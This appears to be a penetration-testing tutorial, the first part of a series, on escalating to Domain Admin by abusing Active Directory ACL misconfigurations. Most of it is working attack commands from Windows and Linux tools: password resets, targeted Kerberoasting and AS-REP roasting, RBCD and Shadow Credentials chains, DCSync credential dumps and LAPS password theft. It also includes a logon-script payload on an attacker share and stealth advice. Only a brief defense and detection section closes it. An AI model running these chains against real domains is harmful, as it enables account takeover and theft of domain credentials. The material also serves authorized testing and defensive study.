Part 1: Exploiting Permission Delegation
Every object in Active Directory — users, groups, computers, OUs — has an Access Control List (ACL) that defines who can do what. When administrators delegate permissions carelessly (e.g., letting a helpdesk group reset passwords on admin accounts, or giving IT staff GenericWrite on the Domain Admins group), attackers can chain these misconfigurations to escalate from a low-privilege user to Domain Admin.
BloodHound is the essential tool here. It maps these relationships as a graph and finds the shortest attack path.
Finding Misconfigured ACLs
BloodHound
Upload your collection data and run built-in queries:
- Shortest Path to Domain Admins from Owned Principals
- Find Principals with DCSync Rights
- Shortest Path from Kerberoastable Users
PowerView (from Windows)
# Find all interesting ACLs in the domain
Find-InterestingDomainAcl -ResolveGUIDs
# Check specific object ACL
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs | ? {
$_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner|GenericWrite"
}
# Who can reset passwords?
Get-DomainObjectAcl -Identity targetuser -ResolveGUIDs | ? {
$_.ObjectAceType -match "User-Force-Change-Password"
}
From Linux / Kali
# BloodHound collection — same data PowerView exposes, queryable in the GUI
bloodhound-python -u user -p pass -d domain.local -ns DC_IP -dc dc01.domain.local -c All
# NetExec built-in BloodHound collector (one command, no Python wrapper)
nxc ldap DC_IP -u user -p pass -d domain.local --bloodhound -c All --dns-server DC_IP
# dacledit — read ACLs on any object directly (Impacket fork)
dacledit.py domain.local/user:pass -target 'Domain Admins' -dc-ip DC_IP -action read
# Raw LDAP query if no BloodHound — filter ntSecurityDescriptor manually
ldapsearch -x -H ldap://DC_IP -D "user@domain.local" -w pass \
-b "DC=domain,DC=local" "(sAMAccountName=targetuser)" ntSecurityDescriptor
Attack: GenericAll
Severity: 🔴 Critical
What it means: Full control over the target object. You can do anything — reset passwords, modify group membership, set SPNs, write attributes.
GenericAll on a User
From Windows (PowerView):
# Option 1: Reset their password
net user targetuser 'NewP@ssw0rd!' /domain
# Option 2: Set an SPN → Kerberoast
Set-DomainObject -Identity targetuser -Set @{serviceprincipalname='fake/spn'}
Rubeus.exe kerberoast /user:targetuser /outfile:hash.txt
# Crack with hashcat -m 13100
# Clean up the SPN after
Set-DomainObject -Identity targetuser -Clear serviceprincipalname
# Option 3: Disable Kerberos pre-auth → AS-REP Roast
Set-DomainObject -Identity targetuser -XOR @{useraccountcontrol=4194304}
From Linux / Kali:
# Option 1: Reset password via SAMR
net rpc password targetuser 'NewP@ssw0rd!' -U 'domain.local/attacker%pass' -S DC_IP
# or via Impacket
changepasswd.py domain.local/targetuser@DC_IP -newpass 'NewP@ssw0rd!'
# Option 2: Targeted Kerberoast — set SPN + roast in one shot
targetedKerberoast.py -u user -p pass -d domain.local --dc-ip DC_IP
# hashcat -m 13100 kerberoast.txt rockyou.txt
# Option 3: Targeted AS-REP Roast — flip DONT_REQ_PREAUTH bit
bloodyAD -u user -p pass -d domain.local --host DC_IP add uac targetuser -f DONT_REQ_PREAUTH
GetNPUsers.py domain.local/targetuser -no-pass -dc-ip DC_IP -format hashcat
# Flip the bit back when done
bloodyAD -u user -p pass -d domain.local --host DC_IP remove uac targetuser -f DONT_REQ_PREAUTH
GenericAll on a Group
From Windows (PowerView):
# Add yourself directly
Add-DomainGroupMember -Identity "Domain Admins" -Members attackeruser
# Verify
Get-DomainGroupMember -Identity "Domain Admins"
From Linux / Kali:
# Add a member with net rpc (SAMR)
net rpc group addmem 'Domain Admins' attacker -U 'domain.local/attacker%pass' -S DC_IP
# Or with bloodyAD (LDAP writes — no SMB needed)
bloodyAD -u user -p pass -d domain.local --host DC_IP add groupMember 'Domain Admins' attacker
# Verify
nxc ldap DC_IP -u user -p pass -M groupmembership -o GROUP='Domain Admins'
GenericAll on a Computer
Three paths, in order of preference — try the next one only if the previous is blocked:
| Option | What’s Needed | When to Use |
|---|---|---|
| 1. LAPS read | LAPS deployed on target | Always try first — 1 LDAP query → local admin |
| 2. RBCD | MachineAccountQuota > 0 OR an existing computer account you control | Default fallback |
| 3. Shadow Credentials | ADCS deployed in the forest | Use when MAQ=0 blocks RBCD |
Option 1 — LAPS (fast path, see the full LAPS section below):
# If LAPS is deployed, GenericAll → read LAPS → local admin
nxc ldap DC_IP -u user -p pass --laps
# Use the returned password directly
nxc smb TARGET_IP -u Administrator -p 'LAPS_PASSWORD' --local-auth
Option 2 — RBCD from Windows (PowerView):
# Configure RBCD to yourself (you need a computer account too)
$sid = Get-DomainComputer YOURPC -Properties objectsid | Select -Expand objectsid
$sd = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$sid)"
$bytes = New-Object byte[] ($sd.BinaryLength)
$sd.GetBinaryForm($bytes, 0)
Set-DomainObject -Identity TARGETPC -Set @{'msds-allowedtoactonbehalfofotheridentity'=$bytes}
Option 2 — Full RBCD chain from Linux:
# Step 1: Create a fake computer account (default quota: 10 per user)
impacket-addcomputer domain.local/user:pass \
-computer-name 'FAKEPC$' -computer-pass 'Password123' -dc-ip DC_IP
# Step 2: Set msDS-AllowedToActOnBehalfOfOtherIdentity on TARGET
impacket-rbcd domain.local/user:pass \
-delegate-to 'TARGET$' -delegate-from 'FAKEPC$' -action write -dc-ip DC_IP
# Step 3: S4U2Self + S4U2Proxy as Administrator
impacket-getST domain.local/'FAKEPC$':'Password123' \
-spn cifs/target.domain.local -impersonate Administrator -dc-ip DC_IP
# Step 4: Use the ticket
export KRB5CCNAME=Administrator@cifs_target.domain.local@DOMAIN.LOCAL.ccache
impacket-secretsdump -k -no-pass target.domain.local
impacket-psexec -k -no-pass domain.local/administrator@target.domain.local
# Cleanup
impacket-rbcd domain.local/user:pass \
-delegate-to 'TARGET$' -delegate-from 'FAKEPC$' -action remove -dc-ip DC_IP
Option 3 — Shadow Credentials (when MAQ=0 blocks RBCD):
If ms-DS-MachineAccountQuota is 0 and you don’t already control a computer account, RBCD is dead on arrival. Shadow Credentials abuses the same GenericAll/GenericWrite right by writing a key credential to msDS-KeyCredentialLink on the target — then authenticating as the target computer via PKINIT to recover its TGT / NT hash.
Requirements: ADCS must be deployed in the forest (Shadow Credentials relies on PKINIT, which needs a CA-issued KDC cert on the DC — standard ADCS deployments satisfy this).
# Step 1: Add a key credential on TARGET$ — outputs TARGET.pfx + password
pywhisker -d domain.local -u user -p pass \
--target 'TARGET$' --action add -dc-ip DC_IP
# Step 2: Authenticate as TARGET$ with the cert → get NT hash
certipy auth -pfx TARGET.pfx -dc-ip DC_IP
# Step 3: Use the hash (TARGET$ is local SYSTEM on its own machine)
impacket-secretsdump -hashes :NTHASH domain.local/'TARGET$'@TARGET_IP
# Or request a silver/gold ticket from the hash, or pivot via S4U from a
# computer account context — any "I control TARGET$" follow-up works.
# Cleanup — remove the key credential so the account reverts to clean state
pywhisker -d domain.local -u user -p pass \
--target 'TARGET$' --action remove -dc-ip DC_IP
💡 Why this works:
msDS-KeyCredentialLinkis how Windows Hello for Business binds a public key to an account. GenericAll/GenericWrite lets you plant your own key there — and once you own the private key, PKINIT gives you a TGT for that account with no password at all.
Attack: GenericWrite
Severity: 🔴 Critical
What it means: Write access to any non-protected attribute on the object. Slightly less than GenericAll, but still exploitable.
On a User
Windows (PowerView):
# Set SPN for Kerberoasting (targeted Kerberoast)
Set-DomainObject -Identity targetuser -Set @{serviceprincipalname='http/fake'}
# Set logon script (code execution next time they log in)
Set-DomainObject -Identity targetuser -Set @{scriptpath='\\attacker\share\payload.exe'}
Linux:
# Set an SPN then Kerberoast (all-in-one)
targetedKerberoast.py -u user -p pass -d domain.local --dc-ip DC_IP
# Or write the attribute manually with bloodyAD
bloodyAD -u user -p pass -d domain.local --host DC_IP set object targetuser servicePrincipalName -v 'http/fake'
GetUserSPNs.py domain.local/user:pass -request-user targetuser -dc-ip DC_IP
bloodyAD -u user -p pass -d domain.local --host DC_IP remove object targetuser servicePrincipalName -v 'http/fake'
On a Computer
Same targets as GenericAll on Computer — LAPS read (if deployed) or RBCD (write msDS-AllowedToActOnBehalfOfOtherIdentity). See the GenericAll on a Computer section above for the full Linux + Windows chains.
Attack: WriteDACL
Severity: 🔴 Critical
What it means: You can modify the ACL itself. Grant yourself GenericAll, then do whatever you want.
Windows (PowerView):
# Step 1: Grant yourself GenericAll on the target
Add-DomainObjectAcl -TargetIdentity "Domain Admins" \
-PrincipalIdentity attackeruser -Rights All
# Step 2: Now abuse GenericAll (add yourself to the group)
Add-DomainGroupMember -Identity "Domain Admins" -Members attackeruser
Linux (dacledit + bloodyAD):
# Step 1: Grant yourself FullControl on the target
dacledit.py domain.local/user:pass \
-target 'Domain Admins' -principal attacker \
-action write -rights FullControl -dc-ip DC_IP
# Step 2: Add yourself to the group
bloodyAD -u attacker -p pass -d domain.local --host DC_IP \
add groupMember 'Domain Admins' attacker
WriteDACL on the Domain Object
This is especially dangerous — you can grant yourself DCSync rights:
Windows (PowerView):
# Grant DCSync rights
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" \
-PrincipalIdentity attackeruser \
-Rights DCSync
# Now DCSync
mimikatz "lsadump::dcsync /domain:domain.local /user:krbtgt"
Linux:
# Grant DS-Replication-Get-Changes + DS-Replication-Get-Changes-All
dacledit.py domain.local/user:pass \
-target-dn 'DC=domain,DC=local' -principal attacker \
-action write -rights DCSync -dc-ip DC_IP
# Now DCSync
impacket-secretsdump domain.local/attacker:pass@DC_IP -just-dc
Attack: WriteOwner
Severity: 🟠 High
What it means: Change the owner of the object. The owner implicitly has WriteDACL.
Chain: WriteOwner → WriteDACL → GenericAll
Windows (PowerView):
# Step 1: Take ownership
Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity attackeruser
# Step 2: Grant yourself full rights (WriteDACL is now implicit)
Add-DomainObjectAcl -TargetIdentity "Domain Admins" \
-PrincipalIdentity attackeruser -Rights All
# Step 3: Add yourself
Add-DomainGroupMember -Identity "Domain Admins" -Members attackeruser
Linux (owneredit + dacledit + bloodyAD):
# Step 1: Take ownership
owneredit.py domain.local/user:pass \
-target 'Domain Admins' -new-owner attacker -dc-ip DC_IP
# Step 2: Grant yourself FullControl
dacledit.py domain.local/attacker:pass \
-target 'Domain Admins' -principal attacker \
-action write -rights FullControl -dc-ip DC_IP
# Step 3: Add yourself to the group
bloodyAD -u attacker -p pass -d domain.local --host DC_IP \
add groupMember 'Domain Admins' attacker
Attack: ForceChangePassword
Severity: 🟠 High
What it means: Reset a user’s password without knowing the current one. This is a standalone right — it doesn’t require GenericAll.
# PowerView
Set-DomainUserPassword -Identity targetuser \
-AccountPassword (ConvertTo-SecureString 'NewP@ss123!' -AsPlainText -Force) -Verbose
# net command
net user targetuser 'NewP@ss123!' /domain
# Impacket (from Linux) — requires old pass or hash
changepasswd.py domain.local/targetuser:'oldpass'@dc01 -newpass 'NewP@ss123!'
# Impacket — reset as another user you already control
changepasswd.py -reset domain.local/attacker:'attackerpass'@dc01 \
-altuser attacker -altpass 'attackerpass' -target targetuser -newpass 'NewP@ss123!'
# Samba net rpc — pass-through using your own creds
net rpc password targetuser 'NewP@ss123!' -U 'domain.local/attacker%pass' -S DC_IP
# bloodyAD — LDAP-based password reset (no SMB)
bloodyAD -u attacker -p pass -d domain.local --host DC_IP \
set password targetuser 'NewP@ss123!'
⚠️ OPSEC Warning: Resetting passwords is noisy — the user will notice they can’t log in. Prefer Kerberoasting (set SPN) or delegation abuse when stealth matters.
Attack: AddMember / Self
Severity: 🟠 High
What it means: Add any user (or yourself, with AddSelf) to a group.
Windows (PowerView):
# Add yourself to a privileged group
Add-DomainGroupMember -Identity "Server Operators" -Members attackeruser
Add-DomainGroupMember -Identity "Backup Operators" -Members attackeruser
# Verify
Get-DomainGroupMember -Identity "Server Operators" | select MemberName
Linux:
# Samba net rpc
net rpc group addmem 'Server Operators' attacker -U 'domain.local/attacker%pass' -S DC_IP
# bloodyAD
bloodyAD -u attacker -p pass -d domain.local --host DC_IP \
add groupMember 'Backup Operators' attacker
# Verify
nxc ldap DC_IP -u user -p pass -M groupmembership -o GROUP='Server Operators'
Interesting Groups to Target
| Group | Why It Matters |
|---|---|
| Domain Admins | Full domain control |
| Enterprise Admins | Full forest control |
| Server Operators | Log on to DCs, manage services |
| Backup Operators | Read any file, backup SAM/NTDS |
| Account Operators | Manage non-admin accounts and groups |
| DNS Admins | DLL injection on DNS service (runs as SYSTEM on DC) |
| Group Policy Creator Owners | Create new GPOs |
Attack: AllExtendedRights
Severity: 🟠 High
What it means: Grants every extended right at once — including User-Force-Change-Password (on users) and the LAPS password read right (on computers). On a user → reset the password (see ForceChangePassword above). On a computer → read LAPS. See the dedicated LAPS section below.
Attack: Reading LAPS Passwords
Severity: 🟠 High
LAPS (Local Administrator Password Solution) stores a unique, rotating local Administrator password for each domain-joined machine — in Active Directory. If you have the right permissions (GenericAll, AllExtendedRights, or an explicit read right on the LAPS attribute), you can pull those passwords straight out of LDAP and log in as local admin.
What LAPS Is
LAPS rotates the local Administrator password and stores it as an attribute on the computer object. Two versions exist:
| Version | Attribute | Storage |
|---|---|---|
| LAPS v1 (Legacy) | ms-Mcs-AdmPwd | Plaintext |
| LAPS v2 (Windows LAPS) | msLAPS-Password | JSON (plaintext by default, optional DPAPI encryption) |
Who Can Read LAPS
- Anyone with GenericAll on the computer object
- Anyone with AllExtendedRights on the computer object
- Accounts explicitly granted read on the LAPS attribute
- Members of groups delegated LAPS read access (often helpdesk / tier-2 admins)
Enumeration — Is LAPS Deployed?
# Check if the LAPS schema extension exists and which computers have passwords
nxc ldap DC_IP -u user -p pass -M laps
# Raw LDAP — list all LAPS-enrolled computers
ldapsearch -x -H ldap://DC_IP -D "user@domain.local" -w pass \
-b "DC=domain,DC=local" "(ms-Mcs-AdmPwdExpirationTime=*)" cn
# From Windows — who can read the attribute on a given OU?
Find-AdmPwdExtendedRights -Identity "OU=Servers,DC=domain,DC=local"
Read the Password
# nxc — easiest (dumps every LAPS password your account can read)
nxc ldap DC_IP -u user -p pass --laps
# nxc module (more verbose output incl. expiration)
nxc ldap DC_IP -u user -p pass -M laps
# Raw LDAP query
ldapsearch -x -H ldap://DC_IP -D "user@domain.local" -w pass \
-b "DC=domain,DC=local" "(ms-Mcs-AdmPwd=*)" cn ms-Mcs-AdmPwd
# Windows LAPS v2
ldapsearch -x -H ldap://DC_IP -D "user@domain.local" -w pass \
-b "DC=domain,DC=local" "(msLAPS-Password=*)" cn msLAPS-Password
# From Windows — PowerView
Get-DomainComputer TARGET -Properties ms-Mcs-AdmPwd | select dnshostname, ms-Mcs-AdmPwd
# LAPS v2 module
Get-LapsADPassword -Identity TARGET -AsPlainText
Use the Password
LAPS gives you the local Administrator of the target — not a domain account. Authenticate with --local-auth:
# Check it works
nxc smb TARGET_IP -u Administrator -p 'LAPS_PASSWORD' --local-auth
# Shell
evil-winrm -i TARGET_IP -u Administrator -p 'LAPS_PASSWORD'
# Dump SAM / LSA secrets on the target
nxc smb TARGET_IP -u Administrator -p 'LAPS_PASSWORD' --local-auth --sam
nxc smb TARGET_IP -u Administrator -p 'LAPS_PASSWORD' --local-auth --lsa
impacket-secretsdump Administrator:'LAPS_PASSWORD'@TARGET_IP
Why LAPS Is the Shortcut
If you have GenericAll on a computer, always check LAPS first before setting up RBCD:
| Path | Steps | Caveats |
|---|---|---|
| LAPS read | 1 command → local admin | Needs LAPS actually deployed on that host |
| RBCD | create computer account → write attribute → S4U → psexec | Needs MachineAccountQuota > 0 or an existing computer account |
LAPS is one LDAP query. RBCD is four steps and leaves a machine account behind.
Chaining ACL Attacks
In practice, ACL abuse involves chaining multiple hops. Example path BloodHound might reveal:
You (jsmith)
→ GenericWrite on svc_backup
→ Set SPN → Kerberoast → crack password
→ svc_backup is member of Backup Operators
→ Dump NTDS.dit → extract all hashes
→ Domain Admin
Always check BloodHound’s transitive paths — the direct ACL might not look exploitable, but a 3-hop chain might exist.
Defense & Detection
Hardening
- Run BloodHound defensively — use it before attackers do. Clean up dangerous edges.
- AdminSDHolder — ensure protected objects have correct ACLs. SDProp re-applies AdminSDHolder ACLs every 60 minutes.
- Least privilege — audit all delegated permissions with
Find-InterestingDomainAcl. - Remove stale ACEs — when employees change roles, their old permissions often remain.
Detection (Event IDs)
| Event ID | What It Catches |
|---|---|
| 4662 | Directory service object access (ACL use) |
| 5136 | Directory service object modification |
| 4738 | User account changed |
| 4728 / 4732 / 4756 | User added to security group (global / local / universal) |
| 4724 | Password reset attempt |
PowerShell Monitoring
# Audit who has dangerous permissions on Domain Admins
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs | ? {
($_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner|GenericWrite") -and
($_.SecurityIdentifier -notmatch "S-1-5-21.*-512") # Exclude DA SID itself
} | select SecurityIdentifier, ActiveDirectoryRights
Next up → Part 2: Exploiting Kerberos Delegation — unconstrained, constrained, RBCD, Kerberoasting, and AS-REP Roasting.
Related Writeups
Writeups that put these techniques into practice will be linked here.